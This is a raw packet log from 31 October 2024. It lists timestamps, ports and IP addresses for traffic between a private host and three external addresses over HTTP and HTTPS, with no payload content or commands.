Oct 31, 2024 03:04:23.732917070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.732922077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.732922077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.732922077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.732922077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.732927084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.732938051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.732949018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.732985973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.733011961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733022928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733052969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733064890 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733066082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.733073950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733088017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733098984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.733105898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.733105898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.733155012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.769258022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769289970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769303083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769314051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769325972 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769336939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769347906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769443989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.769443989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.769443989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.769949913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769963980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769988060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.769999027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770013094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770020962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770028114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770031929 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770065069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770087004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770100117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770116091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770127058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770136118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770148039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770153999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770153999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770167112 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770203114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770214081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770224094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770231962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770236015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770253897 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770287037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770289898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770297050 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770344973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770375967 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770514965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770555973 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770567894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770591021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770591021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770622015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770648003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770661116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770680904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770694017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770705938 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770706892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770720959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770731926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770744085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770744085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770744085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770780087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770800114 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770901918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770915031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770936012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770946980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770948887 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.770957947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.770970106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771018028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771018028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771051884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771061897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771074057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771106005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771114111 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771126032 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771126032 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771164894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771164894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771246910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771271944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771281958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771291971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771302938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771317005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771317005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771322012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771347046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771373034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771380901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771398067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771414995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771426916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771440029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771444082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771444082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771464109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771465063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771476984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771486998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771503925 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771512985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771521091 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771533966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771545887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771555901 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771557093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771599054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771599054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771665096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771682978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771714926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771727085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771738052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771750927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771750927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771795988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771800995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771806955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771822929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771833897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771843910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771867037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771867037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771893024 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771909952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771929979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771954060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771960020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.771965027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771975040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.771986008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772001028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772001028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772010088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772016048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772034883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772036076 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772047997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772070885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772072077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772083998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772099972 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772115946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772121906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772126913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772138119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772175074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772175074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772218943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772229910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772247076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772258043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772269011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772283077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772284031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772304058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772315025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772346973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772346973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772371054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772382975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772418022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772424936 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772429943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772440910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772444963 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772459030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772476912 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772533894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772562981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772609949 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772659063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772670031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772686958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772722006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772722006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772830009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772841930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772924900 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.772955894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772965908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772974968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.772985935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.773020983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.773020983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805316925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805347919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805360079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805376053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805387974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805398941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805455923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805474043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805485010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805496931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805510044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805522919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805531979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805531979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805531979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805531979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805546045 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805548906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805557966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805568933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805593014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805593014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805653095 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805685997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805702925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805713892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805726051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805727959 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805738926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805749893 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805752993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805759907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805774927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805811882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805814981 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805821896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805831909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805844069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805855036 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805855036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.805876017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.805954933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.851495981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851507902 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851516962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851553917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851569891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851581097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851592064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851604939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851614952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851696014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851706028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851715088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851727009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851732969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.851737976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851759911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851767063 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.851775885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851788044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851798058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.851804018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.851804018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.851834059 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.887974977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888004065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888021946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888032913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888042927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888046980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888057947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888091087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888091087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888125896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888520002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888530016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888565063 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888641119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888654947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888676882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888688087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888696909 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888696909 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888700962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.888712883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888741016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.888741016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.889569044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.889580011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.889662027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:26.169420004 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:26.169787884 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:26.174586058 CET	80	63821	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:26.174603939 CET	80	63879	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:26.174773932 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:26.174814939 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:26.174985886 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:26.179737091 CET	80	63879	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:26.793721914 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:26.793807983 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:26.793910980 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:26.795037985 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:26.795074940 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.111236095 CET	80	63879	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:27.111330032 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:27.114763975 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:27.115065098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:27.119827986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:27.119868994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:27.119910955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:27.119927883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:27.120117903 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:27.124825001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:27.417150021 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.417236090 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.418848991 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.418870926 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.419157982 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.461626053 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.461672068 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.461783886 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.904573917 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.904679060 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.904742956 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.904854059 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.904886007 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.904913902 CET	63882	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.904927969 CET	443	63882	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.949496984 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.949538946 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:27.949623108 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.949940920 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:27.949971914 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:28.042530060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042545080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042556047 CET	80	63886	185.215.113.16	192.168.2.4
